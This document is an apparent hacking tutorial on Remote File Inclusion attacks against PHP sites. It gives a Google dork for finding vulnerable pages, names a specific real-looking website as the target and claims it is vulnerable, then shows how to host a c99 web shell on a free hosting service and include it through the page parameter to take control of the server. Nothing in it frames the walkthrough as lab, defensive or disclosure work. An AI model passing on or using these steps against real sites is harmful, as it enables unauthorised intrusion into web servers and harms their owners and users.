Another website attack named Remote file inclusion is basically a one of the most common vulnerability found in web application. This type of vulnerability allows the Hacker or attacker to add a remote file on the web server. If the attacker gets successful in performing the attack he/she will gain access to the web server and hence can execute any command on it. Searching the Vulnerability Remote File inclusion vulnerability is usually occurred in those sites which have a navigation similar to the below one www.Targetsite.com/index.php?page=Anything

To find the vulnerability the hacker will most commonly use the following Google Dork
"inurl:index.php?page=”

This will show all the pages which has "index.php?page=” in their URL, Now to test whether the website is vulnerable to Remote file Inclusion or not the hacker use the following command

www.targetsite.com/index.php?page=www.google.com

Let’s say that the target website is http://www.cbspk.com So the hacker URL will become

http://www.cbspk.com/v2/index.php?page=http://www.google.com

If after executing the command the homepage of the google shows up then the website is vulnerable to this attack if it does not come up then you should look for a new target. In my case after executing the above command in the address bar Google homepage shows up indicating that the website is vulnerable to this attack. Now the hacker would upload the shells to gain access. The most common shells used are c99 shell or r57 shell. I would use c99 shell. The hacker would first upload the shells to a web hosting site such as ripway.com, 110mb.com etc. Now here is how a hacker would execute the shells to gain access. Let’s say that the URL of the shell is

http://h1.ripway.com/yourdomain/c99.txt

Now here is how a hacker would execute the following command to gain access
http://www.cbspk.com/v2/index.php?page=http://h1.ripway.com/yourdomain/c99.txt?

Remember to add "?” at the end of url or else the shell will not execute. Now the hacker is inside the website and he could do anything with it
